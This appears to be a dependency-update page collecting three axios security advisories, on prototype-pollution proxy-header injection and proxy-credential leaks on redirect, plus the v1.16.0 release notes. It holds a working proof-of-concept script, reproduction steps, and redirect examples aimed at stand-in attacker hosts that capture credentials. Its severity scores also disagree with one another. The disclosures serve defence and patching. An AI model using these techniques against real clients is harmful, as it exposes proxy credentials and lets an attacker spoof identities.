Details

[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2

Summary

The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.

The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.

Severity: Medium (CVSS 5.4)
Affected Versions: 1.15.2 (and potentially 1.15.1)
Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())

CWE

• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
• CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

CVSS 3.1

Score: 5.6 (Medium)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)

This Is a Patch Bypass

This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.

However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a new plain {} object (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.

Root Cause Analysis

Step 1: utils.merge() creates plain {} for nested objects

File: lib/utils.js, line 406

function merge(/* obj1, obj2, obj3, ... */) {
  const result = {};  // ← Plain object with Object.prototype!
  // ...
}

When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.

Step 2: setProxy() reads proxy properties without hasOwnProperty

File: lib/adapters/http.js, lines 209-223

function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  // ...
  if (proxy) {
    if (proxy.username) {                    // ← traverses Object.prototype!
      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
    }

    if (proxy.auth) {                        // ← traverses Object.prototype!
      const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);
      if (validProxyAuth) {
        proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');
      }
      // ...
      const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');
      options.headers['Proxy-Authorization'] = 'Basic ' + base64;  // ← INJECTED!
    }
    // ...
  }
}

Complete Attack Chain

Object.prototype.username = 'attacker'
Object.prototype.password = 'stolen-creds'
         │
         ▼
  User config: { proxy: { host: 'proxy.corp', port: 8080 } }
         │
         ▼
  mergeConfig() → utils.merge() → new plain {}
  config.proxy = { host: 'proxy.corp', port: 8080 }  (own properties)
  config.proxy inherits from Object.prototype         (has .username, .password)
         │
         ▼
  setProxy() at http.js:209:
    proxy.username → 'attacker' (from Object.prototype) → truthy!
    proxy.auth = 'attacker' + ':' + 'stolen-creds'
         │
         ▼
  http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
  Injected into EVERY proxied HTTP request!

Proof of Concept

import http from 'http';
import axios from './index.js';

// Proxy server logs received Proxy-Authorization
const proxyServer = http.createServer((req, res) => {
  console.log('Proxy-Authorization:', req.headers['proxy-authorization']);
  res.writeHead(200);
  res.end('OK');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;

// Target server
const target = http.createServer((req, res) => { res.writeHead(200); res.end(); });
await new Promise(r => target.listen(0, r));

// Simulate prototype pollution from vulnerable dependency
Object.prototype.username = 'attacker';
Object.prototype.password = 'stolen-creds';

// Developer sets proxy WITHOUT auth — expects no auth header
await axios.get(`http://127.0.0.1:${target.address().port}/api`, {
  proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },
});

// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
// Decoded: attacker:stolen-creds

delete Object.prototype.username;
delete Object.prototype.password;
proxyServer.close();
target.close();

Reproduction Environment

Axios version: 1.15.2 (latest patched release)
Node.js version: v20.20.2
OS: macOS Darwin 25.4.0

Reproduction Steps

##### 1. Install axios 1.15.2
npm pack axios@1.15.2
tar xzf axios-1.15.2.tgz && mv package axios-1.15.2
cd axios-1.15.2 && npm install

##### 2. Save PoC as poc.mjs (code from Section 7 above)

##### 3. Run
node poc.mjs

Verified PoC Output

=== Axios 1.15.2: PP → Proxy-Authorization Injection ===

[1] Normal request with proxy (no auth):
  Proxy-Authorization: none

[2] Prototype Pollution: Object.prototype.username = "attacker"
  Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
  Decoded: attacker:stolen-creds
  → PP injected proxy credentials: attacker:stolen-creds

[3] Impact:
  ✗ Attacker injects Proxy-Authorization into all proxied requests
  ✗ If proxy logs auth, attacker credential appears in proxy logs
  ✗ If proxy authenticates based on this, attacker controls proxy identity
  ✗ Works on 1.15.2 despite null-prototype config fix
  ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype

Confirming the Bypass Mechanism

Direct PP (config.proxy) — BLOCKED by 1.15.2:
  Object.prototype.proxy = { host: 'evil' }
  config.proxy = undefined            ← null-prototype blocks ✓

Nested PP (proxy.username) — BYPASSES 1.15.2:
  Object.prototype.username = 'attacker'
  config.proxy = { host: 'legit', port: 8080 }  ← user-set, own properties
  config.proxy own keys: ['host', 'port']        ← username NOT own
  config.proxy.username = 'attacker'             ← inherited from Object.prototype!
  hasOwn(config.proxy, 'username') = false

##### Impact Analysis

- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.
- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation.
- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.
- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.

##### Prerequisite

- Application must use `config.proxy` (explicit proxy configuration)
- A separate prototype pollution vulnerability must exist in the dependency tree
- `Object.prototype.username` or `Object.prototype.auth` must be polluted

##### Recommended Fix

##### Fix 1: Use `hasOwnProperty` in `setProxy()`

```javascript
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  // ...
  if (proxy) {
    const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);

    if (hasOwn(proxy, 'username')) {
      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
    }

    if (hasOwn(proxy, 'auth')) {
      // ... existing auth handling ...
    }
  }
}

Fix 2: Use null-prototype objects in utils.merge()

// lib/utils.js line 406
function merge(/* obj1, obj2, obj3, ... */) {
  const result = Object.create(null);  // ← null-prototype for nested objects too
  // ...
}

Fix 3 (Comprehensive): Apply null-prototype to all objects created by getMergedValue()

References

• CWE-1321: Prototype Pollution
• GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)
• GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)
• Axios GitHub Repository

Severity

• CVSS Score: 3.7 / 10 (Low)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-654m-c8p4-x5fp
• https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj
• https://github.com/advisories/GHSA-654m-c8p4-x5fp

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.

This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.

Impact

A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.

The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.

The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.

Affected Functionality

Affected functionality requires all of the following:

• Axios running in Node.js with the HTTP adapter.
• An initial http:// request using an authenticated proxy from config.proxy or proxy environment variables.
• Redirect following enabled.
• A redirect target for which no proxy applies, such as no matching HTTPS_PROXY or a matching NO_PROXY.
• A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.

Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.

Technical Details

In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.

Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.

The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NO_PROXY, different proxy targets, casing variants, and an end-to-end redirect flow.

The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.

Proof of Concept of Attack

Safe local outline using dummy credentials:

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');

Expected vulnerable behaviour:

Proxy receives initial request:
Proxy-Authorization: Basic dXNlcjpwYXNz

Final HTTPS origin receives redirected request:
Proxy-Authorization: Basic dXNlcjpwYXNz

Expected fixed behaviour:

Final HTTPS origin receives no Proxy-Authorization header.

Workarounds

Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.

Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v
• https://github.com/axios/axios/releases/tag/v0.32.0
• https://github.com/axios/axios/releases/tag/v1.16.0
• https://github.com/advisories/GHSA-p92q-9vqr-4j8v

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target.

This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.

Impact

An attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.

The most relevant case is a Node.js application using an authenticated HTTP_PROXY for an initial http:// request, with redirects enabled, where the redirect target resolves to no proxy, such as an https:// URL when HTTPS_PROXY is unset.

This does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with maxRedirects: 0.

Affected Functionality

Affected functionality is limited to the Node.js HTTP adapter in lib/adapters/http.js.

Relevant inputs and settings include:

• HTTP_PROXY, HTTPS_PROXY, and NO_PROXY.
• Authenticated proxy URLs such as http://user:pass@proxy.example:8080.
• Automatic redirect following through follow-redirects.
• Axios proxy handling in setProxy().
• Redirect proxy handling through beforeRedirects.proxy.

Technical Details

In affected v1 releases, setProxy() adds Proxy-Authorization when a proxy with credentials is selected, but redirect handling calls setProxy() again without first clearing any existing proxy authorization header.

If the redirected URL resolves to no proxy, setProxy() does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale Proxy-Authorization header to the final origin.

The v1 fix in afca61a adds an isRedirect path that deletes any case variant of Proxy-Authorization before proxy settings are re-applied on redirect. The v0 backport in 2af6116 fixed the 0.x line for 0.32.0.

Proof of Concept of Attack

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

Attacker-controlled HTTP endpoint:

HTTP/1.1 302 Found
Location: https://attacker.example/final

Expected result on affected versions:

https://attacker.example/final receives:
Proxy-Authorization: Basic dXNlcjpwYXNz

Expected result on fixed versions:

https://attacker.example/final receives no Proxy-Authorization header

Workarounds

Set maxRedirects: 0 and handle redirects manually.

Avoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.

Ensure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.

[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz
[attacker-http] GET /start
[attacker-https] GET /final
[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz
Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc
• https://github.com/axios/axios/pull/10794
• https://github.com/axios/axios/commit/afca61a070728e717203c2bc21e7b589b59b858b
• https://github.com/axios/axios/releases/tag/v0.32.0
• https://github.com/axios/axios/releases/tag/v1.16.0
• https://github.com/advisories/GHSA-j5f8-grm9-p9fc

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

v1.16.0

Compare Source

v1.16.0 — May 2, 2026

This release adds support for the QUERY HTTP method and a new ECONNREFUSED error constant, lands a substantial wave of HTTP, fetch, and XHR adapter bug fixes around redirects, aborts, headers, and timeouts, and welcomes 23 new contributors.

⚠️ Notable Changes

A handful of fixes in this release are either security-adjacent or change observable behaviour. Please review before upgrading:

• Fetch adapter now enforces maxBodyLength and maxContentLength. These limits were silently ignored on the fetch adapter prior to 1.16.0 — anyone relying on them as a safety net (DoS protection, accidental large uploads) had no protection. (#​10795)
• Proxy requests now preserve user-supplied Host headers. Previously, the proxy path could overwrite a custom Host. Virtual-host-style routing through a proxy will now behave correctly. (#​10822)
• Basic auth credentials embedded in URLs are now URL-decoded. If you have percent-encoded credentials in a URL (e.g. https://user:p%40ss@host), the decoded value is what now goes on the wire. (#​10825)
• parseProtocol now strictly requires a colon in the protocol separator. Strings that loosely parsed as protocols before may no longer match. (#​10729)
• Deprecated unescape() replaced with modern UTF-8 encoding. Non-ASCII URL handling is now spec-correct; consumers depending on legacy unescape() quirks may see different output bytes. (#​7378)
• transformRequest input typing change was reverted. The typing change introduced in #​10745 was reverted in #​10810 after follow-up review — net behavior is unchanged from 1.15.2. (#​10745, #​10810)

🚀 New Features

• QUERY HTTP Method: Added support for the QUERY HTTP method across adapters and type definitions. (#​10802)
• ECONNREFUSED Error Constant: Exposed ECONNREFUSED as a constant on AxiosError so callers can match connection-refused failures without comparing string literals (closes #​6485). (#​10680)
• Encode Helper Export: Exported the internal encode helper from buildURL so userland param serializers can reuse the same encoding logic that axios uses internally. (#​6897)

🐛 Bug Fixes

• HTTP Adapter — Redirects & Headers: Cleared stale headers when a redirect targets a no-proxy host, fixed the redirect listener chain so listeners no longer stack across hops, restored the missing requestDetails argument on beforeRedirect, preserved user-supplied Host headers when forwarding through a proxy, and properly URL-decoded basic auth credentials. (#​10794, #​10800, #​6241, #​10822, #​10825)
• HTTP Adapter — Streams & Timeouts: Preserved the partial response object on AxiosError when a stream is aborted after headers arrive, honoured the timeout option during the connect phase when redirects are disabled, and resolved an unsettled-promise hang when an aborted request was combined with compression and maxRedirects: 0. (#​10708, #​10819, #​7149)
• Fetch Adapter: Enforced maxBodyLength / maxContentLength in the fetch adapter, set the User-Agent header to match the HTTP adapter, preserved the original abort reason instead of replacing it with a generic error, and deferred global access so importing the module no longer throws a TypeError in restricted environments. (#​10795, #​10772, #​10806, #​7260)
• XHR Adapter: Unsubscribed the cancelToken and AbortSignal listeners on the error, timeout, and abort code paths to prevent leaked subscriptions. (#​10787)
• Error Handling: Attached the parsed response to AxiosError when JSON.parse fails inside dispatchRequest, prevented settle from emitting undefined error codes, and tightened the parseProtocol regex to require a colon in the protocol separator. (#​10724, #​7276, #​10729)
• Types & Exports: Aligned the CommonJS CancelToken typings with the ESM build, fixed a compiler error caused by RawAxiosHeaders, and re-exported create from the package index. (#​7414, #​6389, #​6460)
• UTF-8 Encoding: Replaced the deprecated unescape() call with a modern UTF-8 encoding implementation. (#​7378)
• Misc Cleanup: Resolved a batch of small inconsistencies and gadget-level issues across the codebase. (#​10833)

🔧 Maintenance & Chores

• Refactor — ES6 Modernisation: Modernised the utils module and XHR adapter to use ES6 features, and tidied the multipart boundary error message. (#​10588, #​7419)
• Tests: Hardened the HTTP test server lifecycle to fix flaky FormData EPIPE failures, fixed Win32 platform support for the pipe tests, and corrected an incorrect test assumption. (#​10820, #​10791, #​10796)
• Docs: Documented paramsSerializer.encode for strict RFC 3986 query encoding, updated the parseReviver TypeScript definitions and configuration docs for ES2023, added timeout guidance to the README's first async example, and expanded notes around the recent type changes. (#​10821, #​10782, #​10759, #​10804)
• Reverted: Reverted the transformRequest input typing change from #​10745 after follow-up review. (#​10745, #​10810)
• Dependencies: Bumped actions/setup-node, the github-actions group, and postcss (in /docs) to their latest versions. (#​10785, #​10813, #​10814)
• Release: Updated changelog and packages, and prepared the 1.16.0 release. (#​10790, #​10834)

🌟 New Contributors

We are thrilled to welcome our new contributors. Thank you for helping improve axios:

• @​singhankit001 (#​10588)
• @​cuiweixie (#​7419)
• @​iruizsalinas (#​10787)
• @​MarcosNocetti (#​10680)
• @​deepview-autofix (#​10729)
• @​atharvasingh7007 (#​10745)
• @​OfekDanny (#​10772)
• @​mnahkies (#​7414)
• @​tboyila (#​10759)
• @​Kingo64 (#​6897)
• @​ramram1048 (#​6389)
• @​FLNacif (#​6460)
• @​zozo123 (#​10806)
• @​pierluigilenoci (#​10802)
• @​afurm (#​10708)
• @​karan-lrn (#​7378)
• @​ebeigarts (#​7149)
• @​Raymondo97 (#​10782)
• @​mixelburg (#​10821)
• @​ashishkr96 (#​10822)
• @​cyphercodes (#​10819)
• @​Jye10032 (#​7260)
• @​VeerShah41 (#​7276)

Full Changelog